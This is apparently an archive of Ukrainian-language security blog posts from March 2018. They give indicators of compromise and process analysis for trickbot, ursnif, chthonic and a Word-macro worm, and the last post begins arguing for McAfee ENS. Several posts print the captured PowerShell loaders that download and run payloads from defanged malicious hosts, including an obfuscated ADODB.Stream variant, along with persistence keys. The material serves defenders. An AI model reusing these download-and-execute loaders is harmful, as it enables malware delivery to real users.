Archive | March 2018

IOC_trickbot_280318

Доброго дня, панове.

Вчора проходила розсилка шкідливого коду типу #trickbot (розглядали в минулому році)

На відміну від попередніх розсилок тут і тут, цього разу – документи із макросами.

Рівень загрози (для організацій які досі не заблокували макроси) – середній.

Для тих, хто уважно читає наші поради – низький.

Трохи аналітики:

  • Макрос містить чітко вказане ім’я payload та два різні сервери завантаження
  • Основне тіло завантажується як зображення, хоча є некодованим додатком
  • Одразу після запуску перевіряє Public IP
  • Зупинка процесу призводить до перезапуску payload
  • Повторний запуск (інфікування) генерують нове ім’я payload проте шлях незмінний

Схема атаки:

email > Attach (.doc(x)) > Winword > cmd > Powershell > 
2 hardcoded URL >  $env:temp + '\ kizsgkv.exe

#1 Завантаження основного тіла:


#2 Закріплення в системі:


#3 Повторний запуск основного тіла


Маркери IOC:

документ приманка:

SHA-256        3782f96c6d9f3136651da208465fa939313b7e4f21bdc4ef10c05926e0428a65
File name   SecureMessage.doc
File size      62 KB

основна частина (джерела станом на 29те вже не працюють):

SHA-256    2153be5c6f73f4816d90809febf4122a7b065cbfddaa4e2bf5935277341af34c
File name   svoren.png >> \Temp\kizsgkv.exe
File size      392 KB

Мережеві IOC:

завантаження payload – вже не дійсні

202.218.252.73   m-tensou{.} net  GET /svoren.png HTTP/1.1
202.169.44.149   interbanx{.} co.id        GET /svoren.png HTTP/1.1

трафік скомпрометованої системи

54.84.104.112    checkip.amazonaws{.}com   GET / HTTP/1.1   Mozilla/5.0
82.146.60.85      49642 → https(443) [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1  

Активність по процесам:

Відкриття документу призводить до активації макросу, який у свою чергу ініціює завантаження основної частини засобами Powershell

"C:\Program Files\Microsoft Office\Office12\WINWORD.EXE" /n /dde
"C:\Windows\System32\cmd.exe" /c PowerShell "'PowerShell ""function Bcnfqi([String] $Mvurccbh){(New-Object System{.} net.WebClient).DownloadFile($Mvurccbh,''C:\Users\operator\AppData\Local\Temp\kizsgkv.exe'');Start-Process ''C:\Users\operator\AppData\Local\Temp\kizsgkv.exe'';}try{Bcnfqi(''h11p:\m-tensou{.} net/svoren.png'')}catch{Bcnfqi(''h11p:\interbanx{.} co.id/svoren.png'')}'"" | Out-File -encoding ASCII -FilePath C:\Users\operator\AppData\Local\Temp\Vxxhpfqnsmql.bat;Start-Process 'C:\Users\operator\AppData\Local\Temp\Vxxhpfqnsmql.bat' -WindowStyle Hidden"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell  "'PowerShell ""function Bcnfqi([String] $Mvurccbh){(New-Object System{.} net.WebClient).DownloadFile($Mvurccbh,''C:\Users\operator\AppData\Local\Temp\kizsgkv.exe'');Start-Process ''C:\Users\operator\AppData\Local\Temp\kizsgkv.exe'';}try{Bcnfqi(''h11p:\m-tensou{.} net/svoren.png'')}catch{Bcnfqi(''h11p:\interbanx{.} co.id/svoren.png'')}'"" | Out-File -encoding ASCII -FilePath C:\Users\operator\AppData\Local\Temp\Vxxhpfqnsmql.bat;Start-Process 'C:\Users\operator\AppData\Local\Temp\Vxxhpfqnsmql.bat' -WindowStyle Hidden"
C:\Windows\system32\cmd.exe cmd /c ""C:\Users\operator\AppData\Local\Temp\Vxxhpfqnsmql.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell  "function Bcnfqi([String] $Mvurccbh){(New-Object System{.} net.WebClient).DownloadFile($Mvurccbh,'C:\Users\operator\AppData\Local\Temp\kizsgkv.exe');Start-Process 'C:\Users\operator\AppData\Local\Temp\kizsgkv.exe';}try{Bcnfqi('h11p:\m-tensou{.} net/svoren.png')}catch{Bcnfqi('h11p:\interbanx{.} co.id/svoren.png')}

Зміст .bat файлу

Vxxhpfqnsmql.bat
PowerShell "function Bcnfqi([String] $Mvurccbh){(New-Object System{.} net.WebClient).
DownloadFile($Mvurccbh,'C:\Users\operator\AppData\Local\Temp\kizsgkv.exe');
Start-Process 'C:\Users\operator\AppData\Local\Temp\kizsgkv.exe';}
try{Bcnfqi('h11p:\m-tensou{.} net/svoren.png')}
catch{Bcnfqi('h11p:\interbanx{.} co.id/svoren.png')}

 Закріплення через планувальник задач

\MsNetMonitor                    c:\users\operator\appdata\roaming\netviewer\kiztgkv.exe  9/11/2016 7:57 AM   

 Відновлення в разі зупинки процесу

"C:\Users\operator\AppData\Local\Temp\kizsgkv.exe"
C:\Users\operator\AppData\Roaming\NetViewer\kiztgkv.exe
C:\Windows\system32\svchost.exe -k netsvcs
taskeng.exe {DF877B3F-E8C0-424D-AF5E-43A877CA9BCB} S-1-5-21-2867606665-3356615968-442145759-1000:APM11\operator:Interactive:[1]
C:\Users\operator\AppData\Roaming\NetViewer\kiztgkv.exe
C:\Users\operator\AppData\Roaming\NetViewer\kiztgkv.exe
taskeng.exe {1E8FF255-2D23-4815-9E0C-10E2B16FF7A8} S-1-5-21-2867606665-3356615968-442145759-1000:APM11\operator:Interactive:[1]
C:\Users\operator\AppData\Roaming\NetViewer\kiztgkv.exe

Контрзаходи:

  • Якщо для роботи макроси не є потрібними – деактивуйте їх (реєстр, GPO, параметри MS Office)
  • Заборона запуску дочірніх процесів для додатків MS Office (cmd, PowerShell etc)
  • Блокування доступу до мережі Інтернет для процесу PowerShell (варіант 1й) + cmd, + winword.exe (про всяк випадок)
  • Якщо ж PowerShell активно застосовується – нагадую про вбудовані можливості McAfee ENS – сигнатури Exploit Prevention
  • Заборона створення та зчитування/запуску *.EXE з каталогів профілю C:\Users\**\ !
  • Заборона виклику PowerShell через CMD
  • Контроль передачі запускних файлів по каналам Web та Email
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR
Advertisements

IOC_vba_d0c_worm_140318

14го березня було зафіксовано масове зараження документів MS Office троянським шкідливим кодом.

Рівень загрози для організацій що використовують макроси – високий.

Для тих, хто врахував наші попередні рекомендації – низький.

Рекомендуємо ознайомитися особливо тим, у кого макроси не вимкнуті.

Чому така затримка із остаточними результатами?

Аналіз зайняв більше часу, оскільки спершу зразок не запускався як слід на різних тестових ВМ (включаючи хмарні sandbox).

Ми навіть зібрали фізичний стенд навмисне для аналізу цього зразка, але і на ньому з першого разу не отримали чітких результатів.

Та от нарешті уся інформація була зібрана і ми ділимося нею з вами. Зразок не є чимось дуже небезпечним, але його механіка нетипова і відрізняється від того, що нам надсилали на аналіз останнім часом.

Трохи аналітики:

  • Мережевих з’єднань не здійснює. Взагалі. Жодних.
  • Запуск основної частини не залежить від прав користувача та параметрів UAC
  • Збій в роботі основного тіла який ми отримали на ВМ був спричинений версією MS Office
  • З іншою (новішою) збіркою MS Office зразок без проблем працює як на фізиці та і у ВМ
  • Перевірки віртуалізації немає, це була не цільова атака
  • Призначений для запуску на Windows NT6.x, на ХР по замовчуванню відсутній каталог C:\Public (відповідно макрос не спрацьовує)
  • Регіональні параметри (локалізація, розкладки клавіатури) на виконання не впливають
  • Якщо з обмеженими правами відкривати інфікований документ -не додає себе у автозавантаження (логічно, HKLM)
  • Якщо з обмеженими правами запускати основне тіло – файли не інфікуватиме
  • Зразок модифікує лише файли старого типу, а саме MS Word 2003 (.doc), інші – не чіпає
  • Пошук файлів здійснюється за розширенням
  • Основне тіло здійснює пошук файлів по каталогу користувача (тобто і Робочий стіл І Мої документи та далі по списку)
  • Зміст документів не спотворюється, додається лише VBA код
  • Зразок вперше було помічено 2,5 роки тому (тому відкидаємо припущення про цільову атаку)
  • Механізм доставки наразі не встановлено (ймовірно інфікований документ із макросом)
  • Основне тіло записується та запускається із C:\Users\Public\ctrlpanel.exe

Результат інфікування наведено нижче.

Погляньте на тестові документи до зараження:

 

А ось ті ж самі файли вже після запуску основного тіла:

На перший погляд все нормально, проте зверніть увагу на розмір документу Test clean file2.doc У нього інжектовано VBA код.

Його відкриття запустить процес знову.

Теж саме ще раз:

На знімку екрану чітко видно збільшений розмір doc3

(98 Кб при початкових 22 Кб) – результат інжекту VBA коду.

Нижче наведений граф зв’язків інфікування чистого документу (doc2) через відкриття зараженого (infected):


Маркери IOC:

Основна частина:

SHA-256        10e720fbcf797a2f40fbaa214b3402df14b7637404e5e91d7651bd13d28a69d8
File name   ctrlpanel.exe
File size      34.5 KB

Активність по процесам:

Після відкриття інфікованого документу макрос видобуває основне тіло, записує його на диск та запускає

"C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n /dde
c:\Users\Public\ctrlpanel.exe

Основна частина проводить закріплення через реєстр

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\CtrlPanel

Далі зразок розпочинає пошук документів у каталозі користувача та інжектує код VBA знайдені документи

C:\Users\%name%\*.doc

Паралельно ініціюється запуск другого екземпляру Winword

"C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /Automation -Embedding

Знайдені *.doc файли переписуються в каталог %temp% де модифікуються другим процесом Winword, далі ctrlpanel заміняє зміст почткових документів (дописує).


Механізм інфікування (повна ланка)

Winword(1st) > open infected.doc > VBA > C:\Public\ctrlpanel.exe > query C:\Users\%name%\*.doc >

Winword(2nd)_ invoked by ctrlpanel > copy *.doc to %temp% > inject VBA > rewrite source *.doc (cycle)

 

Жертва відкриває інфікований документ.

Якщо макроси дозволені або жертва погодилася на активацію – макрос записує основне тіло у C:\Public\

Після запуску процес основного тіла намагається закріпитися через реєстр та шукає *.doc у каталозі користувача

Паралельно із пошуком процес ctrlpanel ініціює запуск другого екземпляру Winword але не як батьківський процес

Другий екземпляр winword запускається від імені svchost.exe (DCOM Server) без GUI. Ключова відмінність наявність параметрів /Automation -Embedding

Потім знайдені *.doc файли (включаючи інфікований) копіюються процесом ctrlpanel у %temp%, де модифікуються другим процесом Winword.

Після інжекту VBA коду, зміст початкових файлів перезаписується процесом ctrlpanel.

Далі іде цикл (безперервне виконання на одній із ВМ протягом 1 години і довше)


Механізм інфікування (запуск лише основного тіла)

C:\Public\ctrlpanel.exe > query C:\Users\%name%\*.doc >

Winword(2nd)_invoked by ctrlpanel > copy *.doc to %temp% > inject VBA > rewrite source *.doc (cycle)

 

Після запуску процес основного тіла намагається закріпитися через реєстр та шукає *.doc у каталозі користувача

Паралельно із пошуком процес ctrlpanel ініціює запуск другого екземпляру Winword але не як батьківський процес

Другий екземпляр winword запускається від імені svchost.exe (DCOM Server) без GUI. Ключова відмінність наявність параметрів /Automation -Embedding

Потім знайдені *.doc файли копіюються процесом ctrlpanel у %temp%, де модифікуються другим процесом Winword.

Після інжекту VBA коду, зміст початкових файлів перезаписується процесом ctrlpanel.

Далі іде цикл (безперервне виконання на одній із ВМ протягом 1 години і довше)

 


Висновки:

  1. Інфікує тільки *.doc файли у каталозі користувача
  2. Системи із ХР не інфікуються, проте можуть виступати у якості вектору
  3. Крім інжекту VBA коду в документи іншої шкоди не зафіксовано
  4. Спроб мережевих комунікацій чи модифікації параметрів ОС (крім закріплення) не зафіксовано
  5. Це не цільова атака, враховуючи давність зразка швидше за все хтось відкопав старий інфікований документ

Контрзаходи:

  • В черговий раз звертаємо увагу на макроси. Вимикайте їх якщо вони не є критичним для штатного режиму роботи.
  • Блокування створення та запуску нових .exe файлів за шляхом C:\Users\**\*.exe (користувацьке правило Access Protection)
  • Заборона створення усіх дочірніх процесів для додатків MS Office крім виключень (користувацьке правило Access Protection)
  • Заборона запуску winword від імені svchost (користувацьке правило Access Protection)
  • Заборона реєстрації в переліку автозавантажень (вбудоване правило Access Protection)
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

У зв’язку із даним інцидентом ще раз звертаємо вашу увагу на покрокову інструкцію по ENS (користувачі VSE можуть налаштувати Access Protection по аналогії).

Не чекайте сигнатур. Перевірте, чи вжили ви усіх пересторог аби макроси не наробили вам біди?

Будьте уважні та обережні.

VR

IOC_ursnif_210318

Фішинг, начеб-то від ДФС (давненько їх не було).

Нетиповий зразок ШПЗ.


Доброго дня, панове.

Вчора зранку проходила розсилка троянського шкідливого коду типу #ursnif.

Рівень загрози – середній.

Для тих, хто уважно читає наші поради – низький.

Трохи аналітики:

  • Кілька місяців #ursnif активно розповсюджувався в країнах Європи, тепер дійшла черга і до нас
  • Цей вид ШПЗ застосовується для крадіжки облікових записів ДБО та стеження
  • Обфусковані скрипти у архіві, фішинг із локалізованим претекстом (ДФС)
  • Скрипт містить посилання на один хост = два домени, дві IP адреси
  • Payload кодований(!), довантаження bin в залежності від архітектури ОС
  • Завантаження основної частини засобами WSCript
  • Не потребує прав Адміністратора
  • Payload детектиться ENS по GTI
  • В черговий раз звертаємо увагу на механізм WSH – якщо не застосовуєте, то обмежуйте
  • Очікуємо на подальше застосування цього зразка в розвідувальних операціях

Схема атаки:

email > Attach (ZIP) > JS > WSCRIPT > 'chernilis{.} win/filename94.bin?ff1' 
>  %temp%\62ea.exe

Маркери IOC:

приєднання (архів):

8/57
SHA-256    b0e1acb16e344159b61c0da94e229aaae06e3476fef107af4f8cf4f4a36780ef
File name   documents (10).zip
File size      3.19 KB

скрипт приманка:

2/6
SHA-256    f957d96093ee88f3f6c3512530d1faba12cf4a53b1f4f9a646a65cf056785b77
File name   documents (10).js
File size      13.75 KB

основна частина:

15/55
SHA-256    0ee27d99fe0c44fe0c064e4806287ede3569fb1ebd797ae93f83888a23efcf76
File name   62ea.exe
File size      300 KB

Мережеві IOC:

завантаження payload – станом на 10ту ранку 22/03 досі активна!

119.28.108.16    chernilis{.} win   GET /filename94.bin?ff1 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
35.189.126.95    chernilis{.} win   GET /filename94.bin?ff1 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)


Можливий перебір(!)
url: h11p:\chernilis{.} win/filename94.bin?ff1
url: h11p:\chernilis{.} win/filename94.bin?ff2
url: h11p:\chernilis{.} win/filename94.bin?ff3
url: h11p:\chernilis{.} win/filename94.bin?ff4
url: h11p:\chernilis{.} win/filename94.bin?ff5

Довантаження додаткових модулів: (х32 та х64 варіанти)

119.28.108.16 providedatheyfromyouthe{.} club GET /new/x32.bin HTTP/1.1

Трафік системи після компрометації:

86.59.21.38 HTTP 125 86.59.21.38 GET /tor/status-vote/current/consensus HTTP/1.0 
86.59.21.38 HTTP 125 86.59.21.38 [TCP Retransmission] GET /tor/status-vote/current/consensus HTTP/1.0 
162.247.72.201 HTTP 139 GET /tor/server/fp/ABUk3UA9cp8I9+XXeBPvEnVs+o0= Continuation or non-HTTP traffic 
86.59.21.38 HTTP 125 86.59.21.38 GET /tor/status-vote/current/consensus HTTP/1.0

Одразу після інжекту:

explorer.exe 1476 TCP apm-011 1058 tor.noreply{.} org http ESTABLISHED

Після перезавантаження інфікованої системи:

explorer.exe 3704 TCP 10.10.10.25 1062 35.189.126.95 80 ESTABLISHED 
explorer.exe 3704 TCP 10.10.10.25 1065 86.59.21.38 80 ESTABLISHED

Активність по процесам:

Запуск скрипта-приманки ініціює завантаження основної частини засобами WScript

Основна частина записується і стартує із %Temp%, потім інжектує себе у svchost або explorer.

Після чого копіює своє тіло у AppData\Microsoft\%random_folder%\%random_file%.exe

"C:\Windows\System32\WScript.exe" "C:\Users\operator\Desktop\documents (10).js"

"C:\Windows\System32\cmd.exe" /c C:\Users\operator\AppData\Local\Temp\62ea.exe

C:\Users\operator\AppData\Local\Temp\62ea.exe

Injection: 62ea.exe(736) -> svchost.exe(1856)

(!) C:\Users\operator\AppData\Roaming\Microsoft\Bdeudlgs\corrawex.exe

(запуск на іншому стенді: C:\Documents and Settings\oper\Application Data\Microsoft\Adsmrace\cdossapi.exe )

Закріплення через HCU

key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\dnshdrt
data: C:\Users\operator\AppData\Roaming\Microsoft\Bdeudlgs\corrawex.exe

Перевірка Public IP через DNS запити (спроба обійти моніторинг HTTP та Web фільтрацію):

cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\DOCUME~1\oper\LOCALS~1\Temp\7888.bi1"
nslookup myip.opendns.com resolver1.opendns.com 
cmd /C "echo -------- >> C:\DOCUME~1\oper\LOCALS~1\Temp\7888.bi1"


Контрзаходи:

  • Чіткий контроль та блокування спроб зміни списку автозавантаження – нагадую про вбудовані можливості McAfee ENS – правила Access Protection
  • Блокування доступу до мережі Інтернет для процесів WSCript та CSCript (варіант 1й)
  • Повна дактивація механізму Windows Script Host (варіант 2й)
  • Заборона створення та зчитування/запуску *.JS, *.VBS, *.EXE з каталогів профілю C:\Users\**\ !
  • Посилений контроль та блокування передачі запускних і скриптових файлів по каналам Web та Email
  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні

VR

IOC_chthonic_160318

Доброго дня, панове.

Візьміть до уваги маркери ще по одній розсилці.

16го березня проходила розсилка шкідливого коду типу #chthonic (варіація #zbot).

Рівень загрози – середній. Для тих, хто уважно читає наші поради – низький.

Включили цей зразок в розсилку оскільки станом на сьогодні джерело досі активне.

Трохи аналітики:

  • Враховуючи почерк цієї команди слід очікувати нових зразків із цим посиланням
  • Цього разу сервер розповсюдження=серверу контролю (С2)
  • Схема та сама – обфусковані JS скрипти в архіві, претекст та фейкові скани документів
  • Скрипт чітко вказує одну адресу та ім’я, під яким payload записується на диск
  • Завантаження основної частини засобами Powershell
  • Основна частина по аналогії із #Zbot змінює контрольну суму та маскується під різні додатки
  • Не потребує прав Адміністратора
  • Цей домен та шлях завантаження уже використовувався 23/02
  • В черговий раз звертаємо увагу на механізм WSH та PowerShell – якщо не застосовуєте, то обмежуйте

Схема атаки:

email > Attach (RAR) > JS > WSCRIPT > CMD > Powershell > single hardcoded URL >
' h11p:\vivedoc{.} ru\document/pax.exe' >  $env:temp + '\49552.exe

Маркери IOC:

Приєднання (архів):

SHA-256    78f7289a3e1967c5f6c3c756004801965f2b6944bd214fbca3d7744ffc7c595a
File name   договор и сканы Яковлевой по ТОВ РІДАН.rar
File size      71.36 KB

скрипт приманка:

SHA-256        f36f979625dd6e6b85a0d8e44d04b61f607ef2edcc3431916bf7c27cb63f17d4
File name   договір послуг №71-18р.xls.js
File size      34.3 KB

основна частина (джерело станом на 19/03):

SHA-256        31301e4353110752a224d936390ad3ccd59c399c0290800ef150cf8e989c4888
File name   pax.exe    >> $env:temp + '\49552.exe
File size      393.5 KB

Перший запуск:

SHA-256        e5791ceb76d0aa9dc177dc91ed76d3eb1c425bbca73fcdb3289a5cb29801a6db
File name   Mozillasync.exe
File size      393.5 KB

Другий запуск:

SHA-256        2fed4e7b0b103570df53e62ed428d36652c0ddb74e3dae7957574ab8379a681c
File name   StartXnView.exe
File size      393.5 KB

основна частина (джерело станом на 20/03):

SHA-256        288086fd96072b0023cb5b148d26786c919361d5e2649303968e1ceca71d1b30
File name   pax.exe
File size      312 KB

Мережеві IOC:

завантаження payload – станом на 20/03 досі активна!

92.63.197.13      vivedoc{.} ru      GET /document/pax.exe HTTP/1.1 HTTP 339        Mozilla/4.0 (compatible; MSIE 7.0)

трафік скомпрометованої системи – сервер контролю (так само як і минулого разу)

92.63.197.13      vivedoc{.} ru      POST /web/ HTTP/1.1   HTTP 551   Mozilla/7.1 (compatible; MSIE 7.1; Windows NT 6.2; SV1)
(Минулого разу – той самий, 92.63.197.13      honeyindoc{.} ru POST / HTTP/1.1  (application/x-www-form-urlencoded))

Зразок запускає декілька копій iexplorer та ініціює відволікаючі з’єднання:

explorer.exe       1952 TCP   10.0.2.15   49393        92.63.197.13      80        ESTABLISHED
explorer.exe       1952 TCP   10.0.2.15   49394        92.63.197.13      80        ESTABLISHED
iexplore.exe       2916 TCP   10.0.2.15   49390        204.79.197.200   80        ESTABLISHED
explorer.exe       1952 TCP   10.0.2.15   49397        172.217.20.196   80        ESTABLISHED
explorer.exe       1952 TCP   10.0.2.15   49398        172.217.20.196   443        ESTABLISHED
iexplore.exe       2916 TCP   10.0.2.15   49390        204.79.197.200   80        ESTABLISHED

Активність по процесам:

Запуск скрипта-приманки ініціює завантаження основної частини засобами Powershell

Кожен запуск призводить до запису основної частини у %temp% а потім зразок копіює себе у довільний каталог, залежно від додатку під який він мімікрує

“C:\Windows\System32\WScript.exe” “C:\Users\operator\Desktop\договір послуг №71-18р.xls.js”

“C:\Windows\System32\cmd.exe” /k set _a111=powe&& set _a222=rsh&& set _a333=ell&& call %_a111%%_a222%%_a333% $DuGgOVo = ‘yIqQkuk’;$a = ‘Msxml’ + ‘2.XML’ + ‘HTTP’;$avA3BE = ‘zjXOyL’;$b = ‘ADO’ + ‘DB.’ + ‘Stream’;$npo2cb = ‘AhLfy6’;$c = ‘G’ + ‘E’ + ‘T’;$xcVNsaFw = ‘tagBFRbq’;$d = 1 – 1 + 1;$nSQR1qd = ‘RhEGM’;$hr = New-Object -ComObject $a;$Tvcnch = ‘M7cerebf’;$ab = New-Object -ComObject $b;$oVDBm = ‘Y8DEr’;$path = $env:temp + ‘\49552.exe’;$YlhPo = ‘zrEVSXdB’;$hr.open($c, ‘h11p:\vivedoc{.} ru\document/pax.exe’, 0);$sHDPTRb5M = ‘TgRmj’;$hr.send();$MNhOwnbr = ‘xDJX0Z’;$ccUAdL = ‘JSsQEZQ’;$VR5pnoi = ‘piD7G6t’;$IY8gzg = ‘dZdYx’;$ab.open();$YODMbnR = ‘iIGrd’;$ab.type = $d;$ftUZAT = ‘uQk6v’;$ab.write($hr.responseBody);$MLKVm7Ki = ‘fQWbtv’;$ab.savetofile($path);$HyAX0Mlr = ‘tkvJU’;$ab.close();$NDnZ4YB = ‘NenMcXs’;$ayhTTR = ‘vtBgFL’;$bSBCCnkkL = ‘QaBQu’;$mLvCd5wn = ‘PkTPD’;$Wu3cZ0 = ‘nOP7DR’;$vJrAshn = ‘QvXmKwv’;$KfNmqt = ‘f9cKH3rw’;Start-Process $path;

powershell  $DuGgOVo = ‘yIqQkuk’;$a = ‘Msxml’ + ‘2.XML’ + ‘HTTP’;$avA3BE = ‘zjXOyL’;$b = ‘ADO’ + ‘DB.’ + ‘Stream’;$npo2cb = ‘AhLfy6’;$c = ‘G’ + ‘E’ + ‘T’;$xcVNsaFw = ‘tagBFRbq’;$d = 1 – 1 + 1;$nSQR1qd = ‘RhEGM’;$hr = New-Object -ComObject $a;$Tvcnch = ‘M7cerebf’;$ab = New-Object -ComObject $b;$oVDBm = ‘Y8DEr’;$path = $env:temp + ‘\49552.exe’;$YlhPo = ‘zrEVSXdB’;$hr.open($c, ‘h11p:\vivedoc{.} ru\document/pax.exe’, 0);$sHDPTRb5M = ‘TgRmj’;$hr.send();$MNhOwnbr = ‘xDJX0Z’;$ccUAdL = ‘JSsQEZQ’;$VR5pnoi = ‘piD7G6t’;$IY8gzg = ‘dZdYx’;$ab.open();$YODMbnR = ‘iIGrd’;$ab.type = $d;$ftUZAT = ‘uQk6v’;$ab.write($hr.responseBody);$MLKVm7Ki = ‘fQWbtv’;$ab.savetofile($path);$HyAX0Mlr = ‘tkvJU’;$ab.close();$NDnZ4YB = ‘NenMcXs’;$ayhTTR = ‘vtBgFL’;$bSBCCnkkL = ‘QaBQu’;$mLvCd5wn = ‘PkTPD’;$Wu3cZ0 = ‘nOP7DR’;$vJrAshn = ‘QvXmKwv’;$KfNmqt = ‘f9cKH3rw’;Start-Process $path;

“C:\Users\operator\AppData\Local\Temp\49552.exe

“C:\Users\operator\AppData\Roaming\Mozilla\Mozillasync.exe

“C:\Windows\system32\cmd.exe” /c “C:\Users\operator\AppData\Local\Temp\tmp31ff2b60.bat”

Закріплення через HCU (так само як і минулого разу)

Перший запуск
{E1E44CAA-17DF-58EA-6A9B-F8A8F27ED919}                 
c:\users\operator\appdata\roaming\mozilla\mozillasync.exe       1/19/2015 9:56 PM

Другий запуск
{77947C66-8A05-1E12-8FC2-D14DA2AE84DD}                        
c:\users\operator\appdata\roaming\xnview\startxnview.exe       1/19/2015 9:56 PM

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Обмеження передачі запускних файлів по каналам Web та Email (payload не кодований)
  • Чіткий контроль та блокування спроб зміни списку автозавантаження – нагадую про вбудовані можливості McAfee ENS – правила Access Protection
  • Блокування доступу до мережі Інтернет для процесу Powershell (варіант 1й)
  • Деактивація механізму Windows Script Host (варіант 2й)
  • Якщо ж Powershell активно застосовується – нагадую про вбудовані можливості McAfee ENS – сигнатури Exploit Prevention
  • Заборона створення та зчитування/запуску *.JS, *.VBS, *.EXE з каталогів профілю C:\Users\**\ !
  • Заборона виклику Powershell через WSCript – додатково захистить від скриптів що йдуть як OLE об’єкти
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

why McAfee ? (ENS how to)

“выигрывает вовсе не тот, кто умеет играть по всем правилам;

выигрывает тот, кто умеет отказаться в нужный момент от всех правил,

навязать игре свои правила, не известные противнику, а когда понадобится — отказаться и от них…”

(с) Братья Стругацкие, “Град обреченный”

Як правильно користуватися антивірусом, або чому саме McAfee?

Усім привіт.

Нещодавно я мав честь виступати перед публікою на #Security Forum Kyiv.

Розповідав я про історію успіху одного із наших замовників (презентація у pdf), якому ми допомагали із побудовою комплексного захисту із застосуванням рішень McAfee.

Наприкінці доповіді один із слухачів запитав мене – чому я вже більше чотирьох років займаюся рішеннями McAfee?

Оскільки я був обмежений регламентом, у мене не було можливості надати вичерпну відповідь.

Давайте я вам покажу чому ж я віддаю перевагу захисту McAfee.


Перш ніж переходити до практичних екзерцисів давайте одразу чітко визначимось:

#1 ми не будемо покладатися на сигнатури.

ми достатньо освічені люди щоб усвідомлювати – один і той же зразок можна пропустити через то й же Veil , а потім вбудувати отриманий перепакований та пошифрований .exe-шник у цілком пристойний документ використовуючи широкий спектр вразливостей MS Office, наприклад 11882. Саме тому сидіти і чекати доки вендор антивірусу додасть чергову сигнатуру на документ-приманку по сьогоднішній розсилці (а завтра їх буде ще більше) – це програшна тактика. Як людина, котра більше 4х років займається тех. підтримкою я достатньо наслухався типових звернень “а ваш антивірус не розпізнав нову приманку із тисячі, він поганий, ось результати VirusTotal“.. Скажу так – моя задача як інженера показати вам що варто не влаштовувати лови на конкретний зразок (яких щодня генерують тисячами), а розбиратися із механікою і перекривати канали доставки.

#2 коли мова йде про спробу доставити шкідливий код через фішинг із соц. інженерією – ми можемо робити усе що нам заманеться, але рівно до того моменту, доки не запуститься основна частина (як правило .exe файл).

Все. Якщо це сталося – ми втратили систему, навіть якщо зразок не призвів до шифрування файлів. Чому так? Тому що у нас немає права на помилку. Просто тому що правильно побудована стратегія захисту не повинна розбиратися – що прилетіло сьогодні – троян чи шифрувальщик? Запуск шкідливого коду це вже інцидент. І досить часто замовникам не вистачає часу/бажання а іноді й компетенції щоб розбиратися – чи достатньо просто видалити сам файл, чи система уже переналаштована?

“А мы ошибаться не должны. Нам разрешается прослыть невеждами, мистиками, суеверными дураками. Нам одного не простят: если мы недооценили опасность. И если в нашем доме вдруг завоняло серой, мы просто не имеем права пускаться в рассуждения о молекулярных флуктуациях — мы обязаны предположить, что где-то рядом объявился черт с рогами, и принять соответствующие меры, вплоть до организации производства святой воды в промышленных масштабах.” (с) Братья Стругацкие, “Жук в муравейнике”

Знову ж таки, тут моя задача – зробити так, щоб у користувача-потенційної жертви не було можливості активувати приманку і запустити процес інфікування, і байдуже що там прилетіло. Це я (коли у мене є час та натхнення) можу займатися (і займаюся) аналізом зразків. А бізнес не буде чекати, доки ІТ/ІБшнік розколупає черговий семпл. Бізнесу треба щоб процеси не припинялися. Саме тому, наше завдання не ганятися за черговою мільярдною сигнатурою, а зробити усе можливе, щоб якщо фішинг все ж таки пройшов крізь фільтри, а жертва-користувач проявив людську необачність і перейшов за посиланням/відкрив приєднання – нічого не сталося. Щоб приманка не спрацювала і нападники облажалися по повній. Щоб вони витрачали час, зусилля і кошти знов і знов у спробах пройти захист, а ми просто відстежували чергову пачку спрацювань і займалися більш важливими справами ніж аналіз маркерів по черговій, сотій/тисячній розсилці.

Ви можете з якихось невідомих мені причин не поділяти мою точку зору по цим двом моментам, але дочитайте до кінця статті, і можливо ви зміните свою думку.


Не будемо брати якийсь уявний інцидент, давайте подивимось чого вартий правильно налаштований McAfee Endpoint Security проти останньої розсилки, яку ми детально розібрали.

Давайте уважно поглянемо на послідовність атаки:

  • жертва відкриває файл-приманку, у даному випадку надбудова Excel (xlam)
  • макрос, який міститься у файлі активується і передає кодовані інструкції на PowerShell
  • PowerShell завантажує, записує на диск та запускає основну частину

Наше поле битви – рівно до моменту запуску завантаженої основної частини. Якщо ми не зупинили атаку до цього – ми програли.

Отже, що ми можемо зробити у випадку, коли в компанії макроси використовуються і їх заборона на є прийнятною? Дозволю собі процитувати уривок із переліку контрзаходів:

  • Блокування мережевих запитів із локальної мережі з User Agent Mozilla/4.08 (Charon; Inferno) – не на рівні кінцевих точок
